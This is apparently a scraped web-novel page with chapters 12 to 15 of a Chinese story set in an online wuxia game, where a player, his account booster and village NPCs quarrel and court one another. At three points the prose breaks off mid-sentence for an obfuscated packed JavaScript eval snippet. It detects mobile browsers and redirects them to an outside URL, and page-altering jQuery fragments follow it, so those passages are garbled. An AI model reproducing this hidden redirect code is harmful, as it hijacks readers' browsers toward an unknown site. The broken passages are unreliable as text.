但不知道为什么,这几位玩家哪怕做得十分谨慎,依旧是每走出几步就有人把他们认出来,万分殷切的喊上一声外乡人,这里吃的玩的新鲜玩意要不要来看看呀? 玩家们对此颇为不解。 …… 百里江费尽力气挤进清溪镇的地图,一抬眼看见的就是这样的画面。 几个一眼看着就是日常风景党的普通玩家聚集在某个摊位旁边,叽叽喳喳地询问对方是如何把自己认出来的。 这还不好认?百里江心里嗤笑一声,游戏npc习惯性称呼他们为外乡人,无论哪里都是如此,站在旁观者角度总能看得更清楚些,那种无论何种气氛都能坦然置身事外的异常冷淡,还有这种已经被人当做肥羊盯着,但仍一脸清澈地询问理由的天真姿态—— 除了他们这些“外乡人”,还能有谁? * 小摊摊主摩拳擦掌,素来听闻外乡人买东西从不砍价,一枚普通木牌动辄卖出几百上千也能眼也不眨,正准备把东西加价趁机赚上一笔时,这几人身后忽然悄无声息地站了个偌大一堵肉墙,一双黑漆漆的眼睛盯着他,似笑非笑地阴沉模样。 男人麦色肌肤,一张脸的轮廓也显得锋利,浓眉黑眼,说不出的倨傲狂妄的硬朗长相,身上着黑金纹绣的华贵大氅,背上一柄鎏金挂玉的奢华重剑,久经锻炼的身体宽肩厚肌,连那样一柄重剑也衬得轻薄。 小贩咯噔一声,脸上仍带笑,但也悻悻缩着脖子,不敢再胡乱开价了。 百里江只在这儿停步一瞬,便接着往前走着,那几个玩家与他擦肩而过,音量始终没有控制过,他听着他们挺像那么回事的分析一通,最终得出结论,是论坛那个帖子的人已经开始魔怔人级别了,这附近哪里有什么无相楼的眼线呀? “……”百里江翻个白眼,只冷笑一声。 哪里就没有了? 他眼尾余光瞥向不远处角落里站着的不起眼人影,在白鹭洲呆的久了,动手次数多了,这群家伙他只需一打眼就能分得出来。 就如他之前预测的那样,清溪镇的动静太大,已经引来了无相楼的注意力。 只不过这种程度的潜伏打探,无人关注,也无人会认真好奇,在这里根本引不起半点波澜。 百里江慢慢啧了一声,目光已经看向更远处层叠的翠色山峦,仿佛已经越过浓雾笼罩的那片桃源乡,看见了某个对此仍一无所知的人。 这一次,她也会管吗? 他百无聊赖地想。 ……哦,说错了,她会管的。 如果是她的话,那就一定会管的。 12. 第十二章 《万象征途》的社区太久没有新鲜事,难得有了一次世界级公共奇遇,很快就引起了一波新的讨论热度。 柳清江对主流社区关注度不高,但也因为最近回坑多刷了不少游戏相关内容,相关推送送到面前,也就跟着扫了两眼。 两个关键人名,恰好也是一个认识一个不认识。 社区各种乱七八糟的讨论和新鲜的相关话题他也顺便看了,柳清江的心态还算稳,云娘再怎么说也是新手村的指导npc,他不反驳自己最近对这游戏确实是有点过于上心,但也不至于说无理取闹的地步。 小虞村虽然不对外开放了,但是仍在坚持挂机的老玩家也不止他一个。 万一呢,万一真就有这么一个运气好的老玩家,恰好也和云娘聊得好,阴差阳错就完成了奇遇前置要求呢? 他又不生气,好端端地为了这个生气做什么。 正巧他这段日子手感恢复的差不多,前几天代练也提示回复说已经刷好装备了,柳清江没什么犹豫地重新上了号,眼前景色稍显陌生,是小虞村后山那片荒僻安静的古林。 道长在林中冷风安静伫立许久,面沉如水。 怎么回事呢,代练哥? 这也不是他习惯性下号的地方啊。 道长琢磨着,新手村定位摆在这里,连个能够刷级的普通副本都没有,应该是代练为了交易装备的时候把号停在这里就走了——可玩家账号交易装备也不是什么需要回避村兵的违禁话题,为什么要把他的号放得这么远? 有多远呢,小虞村没开放,所以不能骑马,不能轻功赶路,他要是想走回村子里,目测需要游戏时间半小时打底。 柳清江:…… ……代练脑子有病吧。 柳清江心里不满,脸上却没什么情绪变化,慢条斯理整理了袖口,也没急着往回走,而是慢条斯理地开始检查了一下自己账号的过去登录时间。 看了一圈后,道长感觉自己此前的猜测方向对错一半一半。 号是正常登录的,甚至是在交易记录之前,自己的账号每天都在登录,具体上号时间长度不一,但最短也有近一个小时的挂机时间;而在交易成功之后,代练完成了交接工作,就不再上号了。 柳清江的心里忽然就窜出来一个非常离谱的可能性。 * 小虞村外面热闹堪比开服,游戏社区也是各种压不住味的腥风血雨,村子内部仍是一片风平浪静的安稳景象,解佩环一边挂着论坛,一边帮忙云琅转播外面的世界频道的各种玩家乐子。 脱离游戏背景,玩家和npc之间的联络本身存在相当程度的代沟,解佩环也知道,但他就是乐意看云琅每一句都认真听的样子。 她手上动作忙碌不停,也不耽误她还能分出一半思路,和解佩环再聊上几句。 解佩环在躺椅上打盹,身体和意识也是愈发松弛起来,前面还能挑拣着说,后面基本上是不走脑子的看到什么随口一提,也没记住自己下意识说了句什么,就听得院子里走来走去的云琅忽然一放手中竹筐,若有所思道:“……那我得出去一趟了。” “……”解佩环心里咯噔一声,反射性就坐直了。 “什么出去?出去哪儿?要去干嘛?”他猛地从椅子上跳起来,一溜小跑跟上了云琅的脚步,拉着尾音和她撒娇:“别了吧云娘,你这会出去小虞村,怕是麻烦得很——” “能有什么麻烦?”云琅笑着回他一句,人仍走在前面,无甚防备地直接拉开了小院的木门。 门外有人,衣摆垂直,也不晓得在这里站了多久。 女郎脚步因此停在原地,而缀在她后头那个身着黑色劲装的青年更是一顿,下意识向后退了几步。 距离不远不近,正是血滴子的双刀武技起手式的最佳攻击距离。 云琅没动,仍停在她面前的苍白影子也没动。 风从中而过,似乎连满园桃花香也染上一丝霜雪般的寒意,经久不散。 比起反应有点过分明显的解佩环,道长本人倒是神色平淡如常,至少瞧着确实如此,依旧是清雅隽朗的翩翩俊公子。 他眉头一垂,对上云琅那张脸。 女郎眉目舒展,唇角还隐约带了些欣慰笑意,与他谈话的语气也是最初的柔软亲昵:“回来了?” 柳清江顿了顿,然后才放缓语气,和她轻轻嗯了一声。 “我以为你不会说这句话,”他忽然道,声音里藏了些许说不清道不明的东西,“毕竟‘我’也没走多久……” “少侠怪我?”云琅有些疑惑,随即像是反应过来似的,她回头看了一眼院子里僵硬站立的解佩环,又看向面前的道长,语气柔柔,又摇摇头:“说的什么话,云琅一直都认得出来面前人是谁。” 柳清江没动,目光越过她肩膀看向院中的青年,开口:“……解佩环?” 对方一动不动。 柳清江张张嘴,又说:“……代练?” “……”对方瞬间瞳孔地震,下意识看向门口站着的云琅,满眼都是绝望的求助之色。 那这就明白了,柳清江点点头,也不等云琅开口,直接伸手扶在对方肩膀上,一转身就将她送出了门。 见云琅姿态温顺,神色却是不解,他低头语气柔软地叮嘱道:“你不是要出去?快去吧。” “话虽然这么说没错……?”云琅被他摆弄得一脸茫然,但也下意识回了一句,“不过也是因为是听到了你回来的声音,想着过去给你开个门的……” 她微微仰头,软声又问:“难得回来一次,不用云琅帮少侠泡杯茶吗?” 柳清江不语,只安静抿了抿嘴唇,神色显得更软。 他本来想点点头就这样应下,但嘴唇动了动,又忽然不太情愿说这句话,她对谁都心软,对自己心软正常,可要是对院子里那小子也如此呢? ……那也不能怪她就是。 云娘的设定本就如此,自己总不能因此恼怒她脾气对谁都太好。 “……那,也好。”他沉默半晌,对方已经了然他那份不好明说的尴尬为难,柳清江只觉得自己掌心下像推着一簇云絮拢作的人影,她顺势向前走了几步,残留在掌心的存在感也就这样轻飘飘地散去了。 云琅体贴拉开距离,目光也只安静停在柳清江的脸上,对他轻轻笑了笑:“我去一趟石翁那里,若有事情,少侠来老地方找我就是。” 柳清江喜欢她这样说话,也喜欢她和自己用这样的词。 道长点头,说了句好,后退一步进了院子,当着她的面随手关上了院门,隔开了云琅看过来的视线。 云琅仍站在那里,不过片刻,她忽然转头看向不远处老树垂下的一方阴影,对着那里摆了摆手。 “阿芷,”她低低唤了一声,看着探头探脑的小女孩啪嗒啪嗒地跑过来,很自然地将她拢到了自己身边,“怎么不听石翁的话,还在这里干嘛呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094571|195606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “十二郎又闹脾气,我来看看云娘干嘛,要不要去哄他,”阿芷慢吞吞道,小孩打量一会她的表情,又老气横秋地长叹一声:“看来是不去了,云娘的院子里现在忙得很呢。” 云琅无奈笑道:“人小鬼大的,哪里又忙了?” “那两个外乡人不是在你院子里吗?”小孩眨眨眼,一脸天真好奇:“不会打起来吗?要是真的打起来,云娘难道不会去拦吗?” “拦什么?”云琅随口回了一句,“打又打不死,那两个自己心里有数的。” 因为打不死所以就可以不去管了吗? 那她懂了。 阿芷一脸恍然大悟状,又被云琅不轻不重地敲了脑袋:“倒也不用我说什么你都要学。” 她敢说这话自然也是有她的道理,开门见到柳清江那一刻,解佩环的第一反应就是瑟缩后退,两人一个气势逼人一个沉闷心虚,想来也是有些特殊的内部情况要处理的。 她若是贸然出手,随意站在哪一个旁边都显得不太合适,不如把场地和时间腾出来,等那两个自己把问题解决了再说。 阿芷在旁边眨巴眨巴眼睛,本来极为安静的院子里猝不及防响起刀剑碰撞摩擦的激烈声响,剑气罡风卷起院中落英残红,犹如下了一场缤纷花雨。 * 解佩环自认自己是做了准备的,可一眨眼就看到对面变成仇杀红名状态的那一刻,他还是结结实实吓了一跳:“板……不是!老板!老板呐!” 他语气软弱,听着倒是慢慢殷切讨好之意,手上双刀格挡反击的动作却也是丝毫不慢:“这是做什么!您这是做什么!?” 柳清江想了想,要一边操作一边骂人还是有点挑战,于是言简意赅,直接挑选关键词:“奇遇怎么触发的你自己心里清楚!” “这话让您说的!”解佩环急得跳脚,态度也显得愈发诚恳真诚:“我就是正常和人家聊聊,云娘本来就是引导npc,她主动给我分配任务,一不小心触发奇遇这多正常!” 对此,柳清江只阴阴冷笑一声。 “小虞村压根就没有刷装备的副本,你拿我的号和她对话,明明就是你故意找人家搭话!”柳清江毫不犹豫,斩钉截铁:“分明就是你勾引她!” 解佩环:“……” 什么话!什么话啊这是! 代练的事情能叫顶号勾引吗?这是尊重号主,认真负责,绝不让老板ooc……这群玩剑阁的是不是脑子都用来给装备洗词条了? 心里吐槽,他表情还得是严肃的,认真的,殷切且讨好地:“板板……老板,哥!哥——哥你早说你是梦男啊……!” 柳清江:“。” 柳清江:“我不是。” “哥,哥啊,咱现在不是说这个的时候,”代练小哥深吸一口气,苦口婆心地继续劝道:“你要说你是梦男就好办多了,你看哈,外面还有一群人蹲着等奇遇呢,等到毒瘴解了新玩家进来怎么办?你现在追杀我还算理直气壮,外面那么多新玩家,你还能全堵着不让他们和云琅交流?” 柳清江手上动作稍慢了些,重新调整了下呼吸,耐着性子问:“……所以,你到底想说什么?” “就是说你没必要追着我打啊!”解佩环举着手比比划划,理直气壮地反驳起来:“现在咱俩才是统一战线啊,你没反应过来吗?” “你看你爱你老婆,我也爱你老婆,那我们两个难道不是站在一边的吗?” 13. 第十三章 对于这个问题,柳清江只沉默一瞬,便毫不犹豫地给出了自己的答案。 …… 远处,凛然剑气卷起满地落花直冲云端,已经坐在另一处的云琅回头看了一眼,反应瞧着还算淡定。 竹子搭的,材料好找,架子也好搭。 连带着坐在她对面的石翁也望了望,在外乡人的问题上,老人对她多是无视居多的纵容态度,此时也忍不住一脸头疼地看着她:“也就你一人好心,留了一屋子人都是不老实的。” 云琅眨眨眼看向他,似笑非笑,满脸无辜。 见她不打算接话,石翁也没打算在这个话题上继续,转而提起另一件要紧事:“村子外面现在热闹得很,你下一步又如何安排?” “总不好一直要人在外面守着,还是需要有人去看看的。”云琅给出了意料之中的答案,“不过这样多的人突兀聚集在清溪镇,怕是也会引起些不必要的麻烦,便如石翁之前想的那样,让村子里的大家尽快离开吧。” 石翁摇摇头,却又是临时换了主意:“原来这里只有一两个外乡人,村子里的人全走了也没什么大问题,但现在人多眼杂的,全走了也就不合适。” 云琅没急着应话,她抬头看了一眼,屋顶垂下一截绣纹精致的衣摆,那熟悉的铃铛声倒是安安静静未曾响起。 她等待片刻,又重新垂眸看向石翁,同他商量起来:“村子里的事情自然是听石翁安排的,云琅自会在此守着,不必担心后顾之忧。” 小老头噫了一声,明显不太满意这个说法:“你这丫头,又说这话。”他顿了顿,便很快反应过来:“……还是怕无相楼的追过来?” 云琅没否认,也没说话,反倒是房顶铃铛声叮叮当当,配合着响起一声尾音拉长的嫌弃哼声。 石翁仿佛没听到似的,摸摸下巴,顺着云琅的话陷入沉思:“小虞村远避人世,南诏又一向不愿意掺合进你们朝廷的烂摊子,照理来说和他们并无太多利益牵扯……” 老人的话说到一半,忽然又一停。 “这话说的倒也不对,”他瞧了一眼面前云琅,煞有其事地叹了口气,“谁让老头子当年的手脚太利索,偏就把你给捞回来了呢。” 云琅笑眯眯,顺口应道:“所以才说云琅留下最为合适。” “……慢着,怎么就是云娘留下最合适了!?”不等石翁答话,屋顶上始终老老实实的十二郎终于忍不住地嚷嚷出声,那姿容艳丽的少年人满脸焦急地从房梁后面探出脑袋,人也从上面翻身跳下来,蹭的一下子窜到了石翁面前。 “阿翁,阿翁呀~”十二郎撇着嘴,拉长的尾音像是浸蜜的绸,湿漉漉又软绵绵地缠上了人的耳朵,他挨在老人旁边,好声好气地开始撒娇:“您当初可不是这么说的,您说了云娘会一直待在村子里的对吧?” “她这不是在这儿待着呢吗?”石翁故作无奈,“聊正事呢,你不要打岔。” “我没打岔呀,”十二郎仍是神色乖巧,语气甜蜜,可那双妖妖娆娆的桃花眼随着笑意微微弯着,又透出几分说不出的凉薄戾气,“我也在和您说正事嘛,对十二郎来说,这也是天大的正事。” 石翁本来还想拿出长者气魄压一压他,可抬眼对上十二郎那双太纯粹的眸子,声音又是一顿。 村子长大的少年人,看不到太远的世界,他的眼界狭小,心也狭小,剥开细细窄窄的一条,藏得全是一个人的影子。 要把这影子从少年人的心里剥出去?那他就空了。 老人嘴唇动了动,最终却是转向面前安静的云琅,语气半是无奈,半是抱怨:“……就你最乐意惯着他。” 云琅也不否认,从善如流的低头:“是云琅的错。” 她话音未落,扒在老人身上的十二郎便先心软了,心软之后,便是毫无道理的迁怒和回护:“哎呀,我又说错什么话了,阿翁你说我就是,你别怪她呀……” 石翁此时简直就是毫无掩饰的头疼,眼见着十二郎嘴唇嗫嚅着还想说点什么,云琅忽然抬头,对着那满脸委屈的少年招了招手。 “好啦,不就是怕我又要和你分开?”她慢声细语,态度沉稳,反倒衬得十二郎此时的焦急多了几分微妙的无理取闹,少年人眉头一抬,正准备小小和她发个脾气,就又听得她和自己说: “我现在要去看看出村进清溪镇的那条路,十二郎要不要一起来?” 十二郎仍很不高兴的挑着眉头,嘴唇动了动,本来也确实是准备和她生气的。 可对上云琅那双平淡如初的眼睛,自己便先多了几分软弱心虚似的,早早就泄了气。 “……要的。” * 十二郎年纪轻,身高窜的却很快,于是手脚也显得伶仃细长,走路轻飘灵巧,又配上那样一张容色秾丽的脸,像极了古林深处无根行走的艳鬼花妖。 不过此刻这妖艳过分的少年郎此刻跟在另一人的身后,安静垂着头,即使真的是花妖,那也是花叶枯萎,姿容黯淡的小可怜。 走着走着,终归还是走在前面的那一个先忍不住心软,开口问他:“好端端地,又和我生什么气?” “我没生气。”十二郎吸吸鼻子,原本柔软甜腻的声线这会也变得闷闷的:“我就是听了你和石翁说话,我说我生气了嘛?我不是还什么都没来得及说嘛……” 他顿了顿,也不等对方安慰,自己先从先前谈话里咂摸出更多独属于自己的委屈,“我能说什么,你早早就和石翁商量好了,完全没留给我商量的余地,你就是嫌我烦了,嫌我在这里派不上用处,所以就要把我打包扔给石翁处理,压根就不打算搭理我……” 云琅也不打扰他,此处安静,也空旷,风拂过草叶树梢,细声簌簌,不远处泉水清澈,汩汩流过嶙峋卵石,少年人略带沙哑的委屈抱怨嵌合其中,说着说着,他自己便先停了。 十二郎抿抿嘴唇,顶着一双红润又湿漉的眼,委屈巴巴地瞧着她:“你为什么不说话了?” “本来就是带你出来透透气的,”云琅说,“有些话,不好在石翁面前说的吧?” 她不说这话还好,一开话头,十二郎便又要撇嘴。 “你总觉得我与你拉开距离,是因为你年纪轻,凡事说的不算,所以我对你也总是下意识忽略,”云琅说到这儿时意外停了停,很认真地想了想,然后才说,“这话说起来,也对,也不对。” 少年抬眼看她,眼里是明明白白地不解。 云琅也看他,眉眼仍是带笑,藏着些他总是看不懂的东西。 “我如今就站在这里,你仔细看我,觉得我与你有哪里不同?” 十二郎眨眨眼,依言凝神去看她,目光掠过对方轮廓张扬的眉眼,漆黑温润的瞳仁,又万分狼狈地避开了那双眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094572|195606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 云琅的瞳色是太过纯粹的漆黑,此前总是在有意无意地回避闪躲,这次猝不及防被邀请看过去,理性顿时又被那片黑色搅成了一片浑噩昏沉,又静默而剧烈地染成一把仓促又燥热的火,烧得他颧骨和耳廓都烫得犯疼。 好疼,好疼,眼睛也痛,喉咙也痛,脑子和心口都在痛,十二郎晕乎乎又茫茫然地想,她为什么忽然要自己去看她? 云琅还在等他回话,可他喉咙口都被烧干了,哪里说得出来半个字? 也许是过了一眨眼的功夫,也许过了无数个眨眼那么久的时间,十二郎鼓足勇气,干巴巴地撑起一点所剩不多的理智,干巴巴地回答说:“我、我看了……非要说的话,那云娘哪里都和我不一样。” 云琅眨眨眼,眼中又藏了他看不懂的笑意。 “倒是我说的有问题了,”她慢慢叹息一声,又是那副把他当做孩子看待的温柔神色,耐心提醒道,“十二郎花容月貌,年纪正好,可你看我呀——” 她先是伸出一双手,掌心摊开给他看。 那双手长久摆弄小虞村的草药,昔日修行摩挲出的茧子已经褪去许多,但仍是十指纤长,骨感硬朗而清晰。 少年鬼使神差地伸手摸上去,她也不闪躲,任由少年柔软的指尖覆上她掌心指腹,带着几分探索好奇,慢慢揉捏她坚硬的指骨轮廓。 “你握剑再苦修十年,差不多大概能练出这样一双手,”云琅放缓语气,“但你看我,已经有这样一双手了。” 她也垂眸,一同看那双扶在自己手边的手掌,白皙,细腻,仍是没有经受半点风雨磋磨的娇养姿态,云琅慢慢笑起来,又是叹息着摇摇头。 十二郎读懂了她这次的叹息,又是撇着嘴,不服不忿的咕哝着:“不就是练剑嘛,我也能练。” 云琅也不阻止,只柔声反问:“你喜欢练剑?” 少年一哽,本来想说你怎么就觉得我不喜欢,可对上云琅的那双眼,这话也是实在说不出来。 她早早经历过自己的年纪,见得太多,知道的太多,这样岁数的年轻人会因为一时意气胡乱承诺什么,她大概比自己还清楚。 偏就是多了这么几年时间,他便无论如何也骗不了她。 ……剑么,他确实是不喜欢的,可因为她练过,所以他也想试试。 云琅又叹了口气。 这样不对,十二郎。她温声和自己说。 这样是不对的。 她能给自己看那满手痕迹,是因为她已经切实走过了那十年,手上是她再也改变不了的过去;而他的念头如今也仍然只是个念头,属于他的那个十年仍是一片未知的空白,要因此锚定下来,确定他未来就要走这样的路吗? 云琅不说,可她的脸上又分明写着不赞同。 “我还是希望……你可以再想一想。” 听她这样说,即使觉得她有理,少年自己也还是觉得委屈。 “……你怎么就知道我不想练。”他垂着头,仍牢牢捏着她的手,小声又郁闷的抱怨。 “那你多看看我就行了呀,”他低声喃喃,又小心地,试探着,将自己的手指慢慢藏入对方的指缝,语气甜腻,如蜜如绸,随着哀怨又热烈的眼神一同缠上对方眼底,半分距离也不想让开。 “——你不来看着我,怎么知道我的心,现在想的到底是想还是不想。” 14. 第十四章 这样一番话说出口,率先听到的不是对方的回应,而是自己愈发激烈慌乱地心跳声。 砰砰,砰砰,那样响,扯得胸口附近的血肉都在痛了,少年同样也听不见身畔那些原本清晰的风声,水声。 这一刻,世间所有声音都不重要了。 他目光专注凝在对方的脸上,看着她长久地沉默不语,最终就这样安静地,将嘴唇慢慢抿成一条直线。 ……那一刻,仿佛连他剧烈跳动的心也被她压平的唇线一同压下去了。 好在云琅的手仍贴合在他的掌心处,她的手仍然是稳的,没有因为少年人的一番恳切剖白开始动摇,开始颤抖;也没有因为要追求所谓的回避,就这样残忍地与他拉开距离。 终于,云琅垂下眼睫,在少年人恍然不安的注视中,缓缓叹息一声。 “你呀……” 还是她先心软,她先退让。 “想练就练吧,”她这样说,“你这年纪的孩子,就算我拽着你说上几天几夜,你估计也是听不进去的。” 她说的是剑,但也不是剑,两个人都很清楚。 仍是被当做小孩对待的溺爱态度,但十二郎这会也不执念追求了,当小孩也行啊,就这样被溺爱被纵容难道不好吗?有些事情永远是独属于少年人的特权,他现在只怕自己不追着这个,日后怕是连这点好处也要抓不住的。 云琅将手从他掌心里抽走了,她接着往前走,少年立刻亦步亦趋地跟了上去。 他看着她的背影,忽然又能听见身边的风吹草叶簌簌了,少年忽然觉得这荒僻古林也别有一番野趣风情,风中夹杂着几声清脆的鸟雀鸣叫,他有意加大了身体摇晃的幅度,身上银铃响动,叮叮当当,好听得很。 云琅慢下步子,侧头看了他一眼:“你若是这样,我怕是没办法带你一起出去。” 十二郎一怔,目光幽幽地瞧着她,相当熟练地脸色一阴。 “又闹脾气?”云琅看着他这副表情,也只是无奈又苦恼的笑,“好啦,又不是嫌弃你,就是正好想起来家里有些事情还没来得及处理,你是要跟我去清溪镇,还是先回家,帮我把家里的事解决了?” 那笑容比她过往露出的无数次都要显得随性自然,多了些罕有的懒散调笑的意味,连带着常年温柔的眼尾轮廓都重新显出几分刀尖般凛然张扬的锐气。 十二郎几乎没见她这样看过自己,更没见过她这样对自己笑过。 他一时间怔怔然,恍恍惚惚地,又仿佛连自己舌头要如何安置也有些忘了,迷迷糊糊地问:“啊?什么?” 云琅和他歪了下脑袋,笑容没有半点变化,好脾气地又重复一遍:“是说,十二郎要不要先回家?” 她说了什么足以蛊惑心神的甜言蜜语吗? 好像也没有。 就只是一些再普通不过的、日常里经常能听到的话,被她漫不经心地随口改了几个相当不起眼的用词,少年人的脑子就因此卡住了思路,整个人都晕乎乎,飘飘然地无法思考了。 “那……那我还是回家吧,”他下意识应声道,声音都变得又轻又软,有种难以明说的酸涩羞恼:“你要我回家……是要做什么呀?” 云琅看着他,弯了弯眼睛。 “有些……家里的私事,”她柔声细语,直直看向了对方那双恍惚的眼睛,一字一顿地同他说,“许得十二郎,亲自帮忙才好。” * 细说起来,并不是什么太大的麻烦。 不过是云琅院子里还有两位正在打得不可开交的外乡人——云琅还在的话倒是无所谓的,她对待这些外乡人总是有种毫无自觉,近乎溺爱般的无限宽容。 但前提是,她还在那儿。 人还在的话,那么无论这些外乡人折腾出来何等糟糕的烂摊子,她好像都能愿意揽下,挨个好脾气地帮忙收拾。 ……可谁让她现在不在呢? 她不在,但那两个还在打,且大概率还要打好一阵子。 ——不能随随便便把这些烂摊子交给无辜的村民。在这方面,云琅意外的很有自觉。 * “……所以,”特意守在村子门口,结果却是等到了自己一个人回来的十二郎,阿芷的表情稍微变得有那么一点点的奇怪。 女孩坐在墙垛上,认认真真把他从头到脚打量一遍,最终目光停留在他那张仍泛起红霞的脸上,慢吞吞地和他重新确定:“云娘和你说要你回家解决那两个外乡人,你就这么自己一个人回来啦?” “我一个人回家怎么了?”不知道是有意还是无意,少年特意加重了某个词的读音,然而还不等阿芷反应过来,他自己先抬手贴了贴滚热脸颊,声音也无自觉地弱了下去:“……村子很安全嘛,她还有正事要忙,不用她特意送我的。” 阿芷眨巴眨巴眼睛,一脸古怪的盯着他。 “那,”女孩眼珠转了转,换了个问题问他:“云娘有没有告诉你怎么处理那两个外乡人?” “嗯?”他回了个尾音甜腻的单音节,听得阿芷一张小脸都皱在了一起,一脸毫不掩饰的嫌弃模样。 十二郎看见了也不介意,只笑眯眯的回答:“云娘说,不让那两个继续打下去就行,我想怎么办都可以。” 这话说的奇怪,至少感觉上不应该是云琅主动说的。 阿芷和十二郎一起长大,没说别的,只好心提醒道:“阿兄你下手太狠,小心被那两个外乡人记恨。” “那又怎么了?”十二郎随口敷衍着,他脸颊此时仍是热的,一片妖娆艳色随之染上眉眼,连带这笑容也显得过分甜蜜:“我又不在乎。” * 小虞村久避人世,十二郎就算理解那么一点人情世故,也绝对不会把心思放在那两个外乡人身上。 他心里挂念云琅的院子,见满地狼藉便更是升起一股子自家被砸烂的强烈怨气,手上更是没了轻重。 院子里缠斗的两人本来卡着血线,又是嗑药又是仔细拉开距离,冷不丁中了【蛊毒】buff,最后一点血条也被瞬间清空,顿时双双倒地,短暂失去了意识。 …… 阿芷趴在墙边看着,若有所思:“你就这样动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094573|195606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,不怕记恨?” 十二郎拍拍手掌,又招呼村子里围观许久的村兵把人抬去大夫那里,满不在乎道:“那又怎么了,这是云娘的院子,还真能让他们这么随意放肆?” “……” 阿芷抬头看看十二郎那张理直气壮且也是毫无自觉的脸,似乎明白了什么。 云娘,是故意的吧……? 让阿兄回来,又允许他处理这件事,倒不是因为什么自家人自家事,纯粹是因为这件事情换谁来都不如十二郎来的合适。 一来,这小子的脾气本就是出了名的恶劣,云琅本人不在的情况下对那两个外乡人出手,旁人也不会乱想,只会理所当然觉得:“唉,这小子果然还是没忍住啊”; 二来么,这种事情她本人一直不在,虽是为了处理外事,但也是间接把自己从这件事里摘出去了。 哪怕站在那两个外乡人的角度上来看也是如此:云琅不在,后面又是只有十二郎一人回来,接下来这两边如何对话,也只能得出“十二郎看他们不顺眼,干脆直接动手”的结论。 ……更甚者十二郎本人都会很乐意承认这一点。 如此一来,那就卡死了对证的部分,无论如何也算不得她本人在偏心哪一边。 阿芷沉默许久,安静啃了几枚兜里蜜饯,抬眼又对上十二郎喜滋滋一张脸,终究还是升起一点敷衍又虚伪的不忍:“阿兄,这再怎么说也是云娘院子里的事情,她就这么扔给你处理了,没问题吗?” “哎呀,你又不懂,”十二郎捂着脸,羞答答道:“这种事情等你长大就明白了,云娘是要忙大事情的人,家里这点琐碎杂务,本来也用不着她多上心的。” 可云娘好像什么都没说诶。阿芷很无奈地心想,不就是和你说了句回家吗?别的什么也没说吧?这样就行了嘛阿兄?这样就被哄好了吗阿兄? ……阿兄,云娘好像在把你当她院子里小狗耍诶。 “……” 阿芷坐在墙垛上晃荡着腿,她想了想,忽然将自己兜里蜜饯分出两颗递给十二郎,少年一脸奇怪的接了,问道:“好端端地,这是做什么。” “贿赂。”阿芷慢吞吞地说,“阿兄,去帮我和石翁说说,我也想在云娘身边多待一阵子。” 十二郎顿时满脸警惕:“干什么,我们要是忙起来,怕是没空照顾你这种小屁孩哦。” “哎呀,想到哪里去了吗。”阿芷幽幽道,“我就是觉得,跟在云娘身边能学到不少东西……嗯,至少比跟着阿兄更强。” 十二郎:“?” 十二郎古怪道:“我怎么总觉得你这丫头在趁机骂我?” 阿芷眨眨眼,一脸的纯善无辜:“没有哦。”女孩乖巧道,“是说云娘很会挑人的意思,你看那么多人绕在她身边,她居然一下子就挑中了我的好阿兄~” 十二郎闻言一怔,随即很矜持的点点头,欣慰道:“这话说的倒是没错。” 阿芷沉沉叹口气,不反驳,不提醒,只安静将最后一颗蜜饯也塞进了嘴里。 唉,她果然还有的学呢。 15. 第十五章 小虞村地处偏僻之处,环山绕水,正常通外的陆路只有一条,如今被毒瘴拢着,村人出不去,外人进不来;水路勉强也算有一条,目前也只有十二郎知晓如何出入。 云琅站在路口处思索着,十二郎回去了,她现在的选择也能变得自由些,不过就这样正常往外走不太行,极大概率会被外乡来的江湖客堵个严严实实,不方便进一步收集情报。 至于水路么,她一个人还真不怎么擅长。 她抬眼看向浓雾笼罩的嶙峋山崖,心里渐渐生出个新主意来。 …… 清溪镇,连着小虞村对外唯一一条陆路,早些年的开服玩家出村后也是在这里乘车转往各个主城和门派地图,如今故地重游,多多少少还是能找回一点怀念的感觉的。 百里江对此倒是兴致缺缺,小虞村的奇遇触发很久了,然而一群玩家在这儿兴致勃勃探索一圈又一圈,没找到进去的路也没找到在这儿发布任务的关键npc,很快就有不少人选择了离开,这游戏可玩的地方那么多,何必浪费时间在这里守一个不知奖励如何的未知奇遇? 他倒是还在这儿守着,玩游戏嘛,在哪儿不是玩了。 除了百里江之外,也还有不少玩家选择停在了这里挂机,人数虽然多,但也不至于和最初那样,到了能堵住整个清溪镇的程度。 …… “师兄啊,你在这儿能看到啥啊。”百里江坐在路边茶馆发呆的功夫,一道人影忽然悄无声息地跟着窜了过来,也不等对方开口,直接大咧咧坐在了他的旁边。 